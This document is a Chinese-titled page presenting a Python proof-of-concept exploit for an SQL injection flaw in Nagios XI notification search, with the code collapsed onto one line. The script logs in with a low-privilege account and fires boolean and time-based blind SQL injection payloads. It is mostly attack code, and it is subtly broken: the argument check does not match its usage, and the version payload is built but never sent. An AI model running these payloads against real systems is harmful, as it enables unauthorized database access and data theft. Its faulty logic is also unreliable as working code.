CVE-2016-15050 Nagios XI通知搜索SQL注入漏洞

import requests import sys # CVE-2016-15050 Nagios XI SQL Injection PoC # Target: Nagios XI < 5.2.4 # Vulnerability: SQL Injection in notification search def exploit_sqli(target_url, username, password): """ Exploit SQL injection in Nagios XI notification search """ login_url = f"{target_url}/nagiosxi/login.php" search_url = f"{target_url}/nagiosxi/includes/components/nagiosgraph/cgi-bin/notification.cgi" session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if 'nagiosxi' not in response.cookies: print("[-] Login failed") return None print("[+] Login successful") # Step 2: Exploit SQL injection in search parameter # Blind boolean-based SQL injection payload sqli_payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 FROM information_schema.tables) END) AND '1'='1" search_params = { 'search': sqli_payload, 'limit': '100' } response = session.get(search_url, params=search_params) # Step 3: Extract data using time-based or boolean blind injection # Example: Extract database version version_payload = "1' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN SLEEP(5) ELSE 0 END) AND '1'='1" search_params['search'] = version_payload print("[+] Sending SQL injection payload...") print(f"[+] Payload: {version_payload}") return session.cookies.get_dict() if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_sqli(target, user, pwd)